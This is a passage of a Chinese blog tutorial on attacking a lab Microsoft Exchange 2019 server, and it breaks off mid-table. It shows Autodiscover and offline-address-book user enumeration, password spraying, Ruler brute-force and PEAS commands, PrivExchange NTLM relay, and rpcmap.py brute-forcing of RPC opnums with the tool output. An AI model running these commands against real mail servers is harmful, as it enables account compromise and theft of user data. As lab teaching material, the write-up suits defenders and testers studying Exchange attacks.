src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729180906752.png" alt="image-20200729180906752"></p><p>没安装 DNS 会出现错误，可以直接下一步即可</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729181003607.png" alt="image-20200729181003607"></p><p>安装路径、查看选项都是直接下一步，最后安装</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729181610938.png" alt="image-20200729181610938"></p><p>安装完会注销并重启服务器，进入漫长的等待，然后登陆系统</p><p>把下载 exchange_server_2019 复制到 windows server 2019 中，并右键进行装载</p><p>进入 exchange 目录，执行以下命令进行准备</p><p><code>.\Setup.exe /PrepareSchema /IAcceptExchangeServerLicenseTerms</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729182653180.png" alt="image-20200729182653180"></p><p>准备 Active Directory，执行下面命令，可以自定义 OrganizationName 组织名称，</p><p><code>.\Setup.exe /IAcceptExchangeServerLicenseTerms /PrepareAD /OrganizationName: &quot;exchange&quot;</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729183215807.png" alt="image-20200729183215807"></p><p>准备域</p><p><code>.\Setup.exe /PrepareAllDomains /IAcceptExchangeServerLicenseTerms</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729184638700.png" alt="image-20200729184638700"></p><p>这个时间久一些，准备域进度可能一直显示 0%</p><p>开始安装 Exchange Server 2019 </p><p>双击 Setup 开始安装</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729184947800.png" alt="image-20200729184947800"></p><p>一路 next，拷贝文件、初始化安装完成后使用推荐设置，然后如下图选择</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729185257251.png" alt="image-20200729185257251"></p><p>接着再一路 next 直接进行下一步，最终安装并等待完成</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730092328331.png" alt="image-20200730092328331"></p><h2 id="0x02-攻击-Exchange"><a href="#0x02-攻击-Exchange" class="headerlink" title="0x02 攻击 Exchange"></a>0x02 攻击 Exchange</h2><h3 id="1-获取-Exchange-用户列表和其他信息"><a href="#1-获取-Exchange-用户列表和其他信息" class="headerlink" title="1. 获取 Exchange 用户列表和其他信息"></a>1. 获取 Exchange 用户列表和其他信息</h3><p>先了解一下 <a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxdscli/78530279-d042-4eb0-a1f4-03b18143cd19" target="_blank" rel="noopener">Exchange 的 Autodiscover Publishing and Lookup Protocol</a> （自动发现发布和查找协议，MS-OXDSCLI），这是客户端用来定位 Autodiscover HTTP 服务的，使用 xml 传输消息</p><p>使用<a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxdscli/fc420a31-5180-4a28-8397-8db8977861c6" target="_blank" rel="noopener">官方手册 4.1</a> 中的 Autodiscover 请求，修改目标用户 email，POST 请求访问服务器 url 路径：/autodiscover/autodiscover.xml</p> <figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/autodiscover/autodiscover.xml</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: 192.168.6.132</span><br><span class="line"><span class="attribute">Content-Type</span>: text/xml</span><br><span class="line"><span class="attribute">User-Agent</span>: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)</span><br><span class="line"><span class="attribute">Authorization</span>: Basic SjBLM1JcdGVzdGVyOi5QYXNzMjYyNDEw</span><br><span class="line"><span class="attribute">Cache-Control</span>: no-cache</span><br><span class="line"><span class="attribute">Content-Length</span>: 361</span><br><span class="line"></span><br><span class="line">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span><br><span class="line">&lt;Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"&gt;</span><br><span class="line">&lt;Request&gt;</span><br><span class="line">&lt;EMailAddress&gt;tester@j0k3r.top&lt;/EMailAddress&gt;</span><br><span class="line">&lt;AcceptableResponseSchema&gt;http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a&lt;/AcceptableResponseSchema&gt;</span><br><span class="line">&lt;/Request&gt;</span><br><span class="line">&lt;/Autodiscover&gt;</span><br></pre></td></tr></table></figure><p>EMailAddress 元素标识将为要检索配置信息的帐户的电子邮件地址，请求响应如下：</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730094406249.png" alt="image-20200730094406249"></p><p>分析返回的 xml 中的信息</p><p>HTTP Response</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730102834451.png" alt="image-20200730102834451"></p><p>Authenticated User’s SID 即所使用用户的 SID</p><p>xml body</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730104412176.png" alt="image-20200730104412176"></p><p>Server 元素包含包含附加邮箱的邮件服务器的 FQDN（在Active Directory中，标识域的完全限定域名），下面还有个 OAB Url</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730104533364.png" alt="image-20200730104533364"></p><p>OABUrl元素指定服务器的脱机地址簿(OAB)配置服务器URL，可以获得所有Exchange用户的地址列表，通过访问 <code>&lt;OABUrl&gt; + /oab.xml</code> 查看 oab.xml 文件</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730105252609.png" alt="image-20200730105252609"></p><p>Exchange 默认会创建一些内置的地址列表，比如全局地址列表（GAL），其中含有所有邮箱用户，下面通过 libmspack 库中的oabextract 工具将其解压缩，然后查看用户数据，下载地址：<a href="https://www.cabextract.org.uk/libmspack/libmspack-0.10.1alpha.tar.gz，直接" target="_blank" rel="noopener">https://www.cabextract.org.uk/libmspack/libmspack-0.10.1alpha.tar.gz，直接</a> <code>./configure &amp;&amp; make &amp;&amp; make install</code>  编译安装，oabextract 位于 example 目录下</p><p>在 OAB Url 路径下下载数据 /OAB/b9cf522e-d93a-4f2d-b03f-c1df4a4fb4af/ee0772da-44b1-4110-8b00-70fc34c35cd7-data-1.lzx，解压提取</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730113310927.png" alt="image-20200730113310927"></p><p>使用 ntmlscan 工具（<a href="https://github.com/nyxgeek/ntlmscan）扫描，可以根据所获的的信息进行" target="_blank" rel="noopener">https://github.com/nyxgeek/ntlmscan）扫描，可以根据所获的的信息进行</a> Password Spraying 攻击，这种攻击不同于传统暴力破解的地方在于这种攻击方法使用一个或几个密码（通常是弱密码）来尝试多个账户</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730120237422.png" alt="image-20200730120237422"></p><h3 id="2-使用-Ruler"><a href="#2-使用-Ruler" class="headerlink" title="2. 使用 Ruler"></a>2. 使用 Ruler</h3><p><a href="https://github.com/sensepost/ruler" target="_blank" rel="noopener">https://github.com/sensepost/ruler</a></p><p>ruler 是个知名度较高的 Exchange 利用工具，可以通过 MAPI/HTTP 或 RPC/HTTP 协议远程与 Exchang e服务器交互。其主要目的是滥用客户端 Outlook 特性并远程获取shell，进行信息收集和攻击。</p><h4 id="爆破攻击"><a href="#爆破攻击" class="headerlink" title="爆破攻击"></a>爆破攻击</h4><p>注意要使用正确的域名，否则会出现证书错误，直接修改本地 hosts 文件即可</p><p><code>./ruler-osx64 --domain WIN-QT7IQOG92O7.j0k3r.top brute --users user.txt --passwords pass.txt --delay 0 --verbose</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730123208761.png" alt="image-20200730123208761"></p><h3 id="3-使用-PEAS"><a href="#3-使用-PEAS" class="headerlink" title="3. 使用 PEAS"></a>3. 使用 PEAS</h3><p>简单来说，PEAS 是一个可以通过 ActiveSync 协议连接到 Exchange 的工具</p><p><a href="https://github.com/FSecureLABS/PEAS" target="_blank" rel="noopener">https://github.com/FSecureLABS/PEAS</a></p><blockquote><p>Exchange ActiveSync 是一种 Exchange 同步协议，该协议已经过优化，可用于高延迟和低带宽网络。该协议基于 HTTP 和 XML，移动电话可以借助它访问运行 Microsoft Exchange 的服务器上的组织信息。</p></blockquote><p>python2 安装： <code>python setup.py install</code></p><p>列出共享文件 </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -m peas -u <span class="string">'J0K3R\tester'</span> -p <span class="string">'Qwer1234'</span> WIN-QT7IQOG92O7.j0k3r.top --list-unc <span class="string">'\\WIN-QT7IQOG92O7\'</span></span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730143036881.png" alt="image-20200730143036881"></p><h3 id="4-EWS订阅攻击"><a href="#4-EWS订阅攻击" class="headerlink" title="4. EWS订阅攻击"></a>4. EWS订阅攻击</h3><p><a href="https://github.com/dirkjanm/PrivExchange" target="_blank" rel="noopener">https://github.com/dirkjanm/PrivExchange</a></p><p>该攻击利用 Exchange Web Services (EWS) 来进行，EWS 是一种 Exchange API，用于提供对邮箱项的访问。EWS 的订阅操作允许用户设置一个 URL 来通过 HTTP 协议从 Exchange 获得回调，以接收推送通知，这种方式不支持与接收端进行交互，但可以用于盲 SSRF</p><blockquote><p>2018 年，ZDI 研究团队发现 Exchange 通过 NTLM 或 Kerberos 对指定的 URL 进行身份验证，这可以用于 NTLM 对Exchange 本身的中继攻击。</p></blockquote><p>在 Windows 上，很多应用层协议使用 NTLM 进行身份认证，而 NTLM 中继攻击，就是指攻击者在 NTLM 交互认证过程中充当中间人，类似于中间人攻击，在请求认证的客户端与服务端之间传递信息，获取客户端的 Net-NTLM 哈希并将其重放认证目标方，这样无需破解用户名密码就可以获取权限。</p><p>比如将获取到的 Net-NTLM 哈希重放到真实的 Exchange 服务器的 EWS 接口进行认证，以此获取目标用户邮箱的邮件记录信息、邮件配置、GAL等信息。</p><p>使用 Dirk-jan Mollema 发布的 <a href="https://github.com/dirkjanm/PrivExchange" target="_blank" rel="noopener">PrivExchange</a> 工具使 Exchange 回连指定的地址，并进行身份验证</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730152744083.png" alt="image-20200730152744083"></p><p>Exchange 的回连请求</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730152848444.png" alt="image-20200730152848444"></p><p>Dirk-jan Mollema 的研究文章：<a href="https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/" target="_blank" rel="noopener">Abusing Exchange: One API call away from Domain Admin</a></p><h3 id="5-Office-Web-插件攻击"><a href="#5-Office-Web-插件攻击" class="headerlink" title="5. Office Web 插件攻击"></a>5. Office Web 插件攻击</h3><p>该攻击通常由于持久化，使用插件获取目标邮件的持久访问权限</p><p>详情请参阅：<a href="https://www.mdsec.co.uk/2019/01/abusing-office-web-add-ins/" target="_blank" rel="noopener">https://www.mdsec.co.uk/2019/01/abusing-office-web-add-ins/</a></p><h2 id="0x03-使用-NSPI-攻击-Exchange"><a href="#0x03-使用-NSPI-攻击-Exchange" class="headerlink" title="0x03 使用 NSPI 攻击 Exchange"></a>0x03 使用 NSPI 攻击 Exchange</h2><h3 id="RPC-Remote-Procedure-Call-over-HTTP-v2-工作原理"><a href="#RPC-Remote-Procedure-Call-over-HTTP-v2-工作原理" class="headerlink" title="RPC(Remote Procedure Call) over HTTP v2 工作原理"></a>RPC(Remote Procedure Call) over HTTP v2 工作原理</h3><p>Exchange 通过私有的 MAPI 协议用于收取邮件，较新版本的 Outlook 通常使用 MAPI 与 Exchange 进行交互，除此之外早期的Outlook  还使用称为 Outlook Anywhere (RPC over HTTP) 的 RPC 交互</p><p>RPC over HTTP v2 必须在运行在 HTTP 或者 HTTPS 上，需要 HTTP 1.0 以及来自 HTTP 1.1 的连接保持活动支持。</p><p>下面使用 ruler 进行 RPC/HTTP 连接，Wireshark 抓取通信流量</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./ruler-osx64 --rpc --email tester@j0k3r.top --username tester --password Qwer1234 --insecure --noencrypt --nocache homepage add --url &quot;http://example.com/&quot;</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200730182000035.png" alt="image-20200730182000035"></p><p>从 HTTP 流中可以看出，RPC_IN_DATA 开头的表示 IN channel 请求，与之对应的 RPC_OUT_DATA 表示 OUT channel 请求，访问 URL 路径是 /rpc/rpcproxy.dll，这是 rpc 代理的一部分，代理与客户端和服务器的关系如下图</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731095745649.png" alt="image-20200731095745649"></p><p>HTTP v2上的RPC工作在更复杂的拓扑结构中，定义了客户端、服务器和入站代理与出站代理。没有固定的角色。根据协议充当入站或出站代理，在发布的 <a href="https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RPCH/%5bMS-RPCH%5d.pdf" target="_blank" rel="noopener">[MS-RPCH]: Remote Procedure Call over HTTP Protocol</a> 开放规范文档中有详细的描述</p><p>HTTP协议上的远程过程调用（RPC over HTTP）其实是 RPC 和 HTTP 之间的中间协议</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731101043643.png" alt="image-20200731101043643"></p><p>用于通过 HTTP 进行 RPC 的协议序列称为 ncacn_http，Exchange 服务器在端口 593、6001、6002 和 6004 上侦听 ncacn_http 请求。RPC over HTTPS 服务的端口通常是 593</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731104413550.png" alt="image-20200731104413550"></p><p>根据上面的开放规范，客户端须使用 RPC 代理来连接 ncacn_http 服务，所以可以模拟 RPC 代理直接连接到 ncacn_http</p><h3 id="获取-RPC-服务器名"><a href="#获取-RPC-服务器名" class="headerlink" title="获取 RPC 服务器名"></a>获取 RPC 服务器名</h3><p>这里先看下 [MS-RPCH] 规范文档中对请求 URL 的描述</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731144650856.png" alt="image-20200731144650856"></p><p>abs-path 有如下规定：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">nocert-path = &quot;/rpc/rpcproxy.dll&quot;</span><br><span class="line">withcert-path = &quot;/rpcwithcert/rpcproxy.dll&quot;</span><br><span class="line">abs-path = nocert-path / withcert-path</span><br></pre></td></tr></table></figure><p>而后面对于 query 中对主机名的描述如下</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731145136995.png" alt="image-20200731145136995"></p><p>而实际使用的是 autodiscover 中出现的那个在 <a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxdscli/47b57da7-b4f9-4125-9e1e-04b468a2f81a" target="_blank" rel="noopener">Server</a> 元素中的值，即邮件服务器的 <a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxdscli/c003f814-8b23-451e-a7f6-42079dd1a945#gt_1769aec9-237e-44ed-9014-1abb3ec6de6e" target="_blank" rel="noopener">FQDN（fully qualified domain name）</a></p><p>使用 nmap 脚本http-ntlm-info 枚举启用了 NTLM 身份验证的来自远程 HTTP 服务的信息，获取目标NetBIOS名称</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731111637703.png" alt="image-20200731111637703"></p><p>获取工具，这个是 ptswarm 版本的 Impacket </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/ptswarm/impacket</span><br><span class="line">mv impacket/impacket impacket/examples</span><br><span class="line">python3 -m pip install -r impacket/requirements.txt</span><br></pre></td></tr></table></figure><p>使用 rpcmap.py 工具连接 ncacn_http</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 impacket/examples/rpcmap.py -debug -auth-transport &apos;J0K3R/tester:Qwer1234&apos; &apos;ncacn_http:[6001,RpcProxy=WIN-QT7IQOG92O7.j0k3r.top:443]&apos;</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731121921479.png" alt="image-20200731121921479"></p><p>使用 wireshark 抓取通信流量，此时最好将 443 改为 80，不然抓的是经 TLS 加密的流量</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731122042356.png" alt="image-20200731122042356"></p><p>Exchange 2003/2007/2010 通过 rpcproxy.dll 获取连接，而 Exchange 2013/2016/2019 还有一个 RpcProxyShim.dll，RpcProxyShim.dll 会 hook RpcProxy.dll 回调并处理 Exchange GUID 身份。还支持NetBIOS名称，以实现向后兼容。<br>RpcProxyShim.dll允 许跳过 RPC 级别的身份验证，并且可以将流量直接转发到 Exchange 进程以获取更快的连接。</p><p>更多详情可以参阅：<a href="https://github.com/ptswarm/impacket/blob/master/impacket/dcerpc/v5/rpch.py#L476" target="_blank" rel="noopener">https://github.com/ptswarm/impacket/blob/master/impacket/dcerpc/v5/rpch.py#L476</a></p><h3 id="扫描-RPC-over-HTTPv2-服务"><a href="#扫描-RPC-over-HTTPv2-服务" class="headerlink" title="扫描 RPC over HTTPv2 服务"></a>扫描 RPC over HTTPv2 服务</h3><p>用 rpcmap.py 工具扫描 MSRPC 接口，通过 -brute-opnums 选项依次调用每个 UUID（用于标记 RPC 对象）分配的操作号的前 N 个，并输出结果，获取 Exchange 2019 可以访问的服务</p><blockquote><p>opnums 一个操作号或数字标识符，用于标识特定的远程过程调用（RPC）方法或接口中的方法。</p></blockquote><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br></pre></td><td class="code"><pre><span class="line">python3 impacket/examples/rpcmap.py -debug -auth-transport <span class="string">'J0K3R/tester:Qwer1234'</span> -auth-rpc <span class="string">'J0K3R/tester:Qwer1234'</span> -auth-level 6 -brute-opnums <span class="string">'ncacn_http:[6001,RpcProxy=WIN-QT7IQOG92O7.j0k3r.top:443]'</span></span><br><span class="line">Impacket - Exchanger.py Fork</span><br><span class="line"></span><br><span class="line">[+] Impacket Library Installation Path: /Users/xc/Downloads/ms exchange attack/impacket/examples/impacket</span><br><span class="line">[+] StringBinding has been changed to ncacn_http:WIN-QT7IQOG92O7[6001,RpcProxy=WIN-QT7IQOG92O7.j0k3r.top:443]</span><br><span class="line">Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote</span><br><span class="line">Provider: N/A</span><br><span class="line">UUID: 00000131-0000-0000-C000-000000000046 v0.0</span><br><span class="line">Opnums 0-64: rpc_s_access_denied</span><br><span class="line"></span><br><span class="line">Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM)</span><br><span class="line">Provider: N/A</span><br><span class="line">UUID: 00000134-0000-0000-C000-000000000046 v0.0</span><br><span class="line">Opnums 0-64: rpc_s_access_denied</span><br><span class="line"></span><br><span class="line">Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote</span><br><span class="line">Provider: N/A</span><br><span class="line">UUID: 00000143-0000-0000-C000-000000000046 v0.0</span><br><span class="line">Opnums 0-64: rpc_s_access_denied</span><br><span class="line"></span><br><span class="line">Protocol: [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol</span><br><span class="line">Provider: N/A</span><br><span class="line">UUID: 1544F5E0-613C-11D1-93DF-00C04FD7BD09 v1.0</span><br><span class="line">Opnum 0: rpc_x_bad_stub_data</span><br><span class="line">Opnum 1: rpc_x_bad_stub_data</span><br><span class="line">Opnums 2-64: nca_s_op_rng_error (opnum not found)</span><br><span class="line"></span><br><span class="line">Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM)</span><br><span class="line">Provider: ole32.dll</span><br><span class="line">UUID: 18F70770-8E64-11CF-9AF1-0020AF6E72F4 v0.0</span><br><span class="line">Opnums 0-64: rpc_s_access_denied</span><br><span class="line"></span><br><span class="line">Protocol: [MS-OXCRPC]: Wire Format Protocol</span><br><span class="line">Provider: N/A</span><br><span class="line">UUID: 5261574A-4572-206E-B268-6B199213B4E4 v0.1</span><br><span class="line">Opnum 0: rpc_x_bad_stub_data</span><br><span class="line">Opnums 1-64: nca_s_op_rng_error (opnum not found)</span><br><span class="line"></span><br><span class="line">Procotol: N/A</span><br><span class="line">Provider: N/A</span><br><span class="line">UUID: 5DF3C257-334B-4E96-9EFB-A0619255BE09 v1.0</span><br><span class="line">Opnum 0: rpc_s_access_denied</span><br><span class="line">Opnum 1: rpc_s_access_denied</span><br><span class="line">Opnum 2: rpc_s_access_denied</span><br><span class="line">Opnum 3: rpc_s_access_denied</span><br><span class="line">Opnum 4: rpc_s_access_denied</span><br><span class="line">Opnum 5: rpc_s_access_denied</span><br><span class="line">Opnum 6: rpc_s_access_denied</span><br><span class="line">Opnum 7: [Errno 54] Connection reset by peer</span><br><span class="line">Opnums 8-64: rpc_s_access_denied</span><br><span class="line"></span><br><span class="line">Protocol: [MS-OXCRPC]: Wire Format Protocol</span><br><span class="line">Provider: N/A</span><br><span class="line">UUID: A4F1DB00-CA47-1067-B31F-00DD010662DA v0.81</span><br><span class="line">Opnum 0: rpc_x_bad_stub_data</span><br><span class="line">Opnum 1: rpc_x_bad_stub_data</span><br><span class="line">Opnum 2: rpc_x_bad_stub_data</span><br><span class="line">Opnum 3: rpc_x_bad_stub_data</span><br><span class="line">Opnum 4: rpc_x_bad_stub_data</span><br><span class="line">Opnum 5: rpc_x_bad_stub_data</span><br><span class="line">Opnum 6: success</span><br><span class="line">Opnum 7: rpc_x_bad_stub_data</span><br><span class="line">Opnum 8: rpc_x_bad_stub_data</span><br><span class="line">Opnum 9: rpc_x_bad_stub_data</span><br><span class="line">Opnum 10: rpc_x_bad_stub_data</span><br><span class="line">Opnum 11: rpc_x_bad_stub_data</span><br><span class="line">Opnum 12: rpc_x_bad_stub_data</span><br><span class="line">Opnum 13: rpc_x_bad_stub_data</span><br><span class="line">Opnum 14: rpc_x_bad_stub_data</span><br><span class="line">Opnums 15-64: nca_s_op_rng_error (opnum not found)</span><br><span class="line"></span><br><span class="line">Protocol: [MS-RPCE]: Remote Management Interface</span><br><span class="line">Provider: rpcrt4.dll</span><br><span class="line">UUID: AFA8BD80-7D8A-11C9-BEF4-08002B102989 v1.0</span><br><span class="line">Opnum 0: success</span><br><span class="line">Opnum 1: rpc_x_bad_stub_data</span><br><span class="line">Opnum 2: success</span><br><span class="line">Opnum 3: success</span><br><span class="line">Opnum 4: rpc_x_bad_stub_data</span><br><span class="line">Opnums 5-64: nca_s_op_rng_error (opnum not found)</span><br><span class="line"></span><br><span class="line">Procotol: N/A</span><br><span class="line">Provider: N/A</span><br><span class="line">UUID: BA3FA067-8D56-4B56-BA1F-9CBAE8DB3478 v1.0</span><br><span class="line">Opnums 0-64: rpc_s_access_denied</span><br><span class="line"></span><br><span class="line">Protocol: [MS-NSPI]: Name Service Provider Interface (NSPI) Protocol</span><br><span class="line">Provider: ntdsai.dll</span><br><span class="line">UUID: F5CC5A18-4264-101A-8C59-08002B2F8426 v56.0</span><br><span class="line">Opnum 0: rpc_x_bad_stub_data</span><br><span class="line">Opnum 1: rpc_x_bad_stub_data</span><br><span class="line">Opnum 2: rpc_x_bad_stub_data</span><br><span class="line">Opnum 3: rpc_x_bad_stub_data</span><br><span class="line">Opnum 4: rpc_x_bad_stub_data</span><br><span class="line">Opnum 5: rpc_x_bad_stub_data</span><br><span class="line">Opnum 6: rpc_x_bad_stub_data</span><br><span class="line">Opnum 7: rpc_x_bad_stub_data</span><br><span class="line">Opnum 8: rpc_x_bad_stub_data</span><br><span class="line">Opnum 9: rpc_x_bad_stub_data</span><br><span class="line">Opnum 10: rpc_x_bad_stub_data</span><br><span class="line">Opnum 11: rpc_x_bad_stub_data</span><br><span class="line">Opnum 12: rpc_x_bad_stub_data</span><br><span class="line">Opnum 13: rpc_x_bad_stub_data</span><br><span class="line">Opnum 14: rpc_x_bad_stub_data</span><br><span class="line">Opnum 15: rpc_x_bad_stub_data</span><br><span class="line">Opnum 16: rpc_x_bad_stub_data</span><br><span class="line">Opnum 17: rpc_x_bad_stub_data</span><br><span class="line">Opnum 18: rpc_x_bad_stub_data</span><br><span class="line">Opnum 19: rpc_x_bad_stub_data</span><br><span class="line">Opnum 20: rpc_x_bad_stub_data</span><br><span class="line">Opnums 21-64: nca_s_op_rng_error (opnum not found)</span><br></pre></td></tr></table></figure><p>该工具的原理其实就是利用 RPC 的 rpc_mgmt_inq_if_ids （有关文档：<a href="https://docs.microsoft.com/zh-cn/windows/win32/api/rpcdce/nf-rpcdce-rpcmgmtinqifids?redirectedfrom=MSDN" target="_blank" rel="noopener">RpcMgmtInqIfIds function</a>，<a href="https://pubs.opengroup.org/onlinepubs/9629399/rpc_mgmt_inq_if_ids.htm" target="_blank" rel="noopener">rpc_mgmt_inq_if_ids</a>）方法返回服务器提供的接口的接口标识符的向量，这个向量列出了服务器在 RPC 运行时系统中注册的接口，然后针对接口遍历 64 个 Opnum 对应的操作进行调用，根据返回的数据判断操作结果，最终获取能够使用的接口和方法</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200804153819726.png" alt="image-20200804153819726"></p><p>根据以上输出，所有 Opnum 执行结果都是 access_denied 的协议则不可用，而 rpcmap.py 使用的是 <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/3165f378-ede3-48a8-b871-be1183e1b7fb" target="_blank" rel="noopener">MS-RPCE</a> 协议，剩余通过 Exchange 的 RPC over HTTP v2 可用的协议如下：</p><table><thead><tr><th><strong>协议</strong></th><th><strong>UUID</strong></th><th><strong>描述</strong></th></tr></thead><tbody><tr><td><a 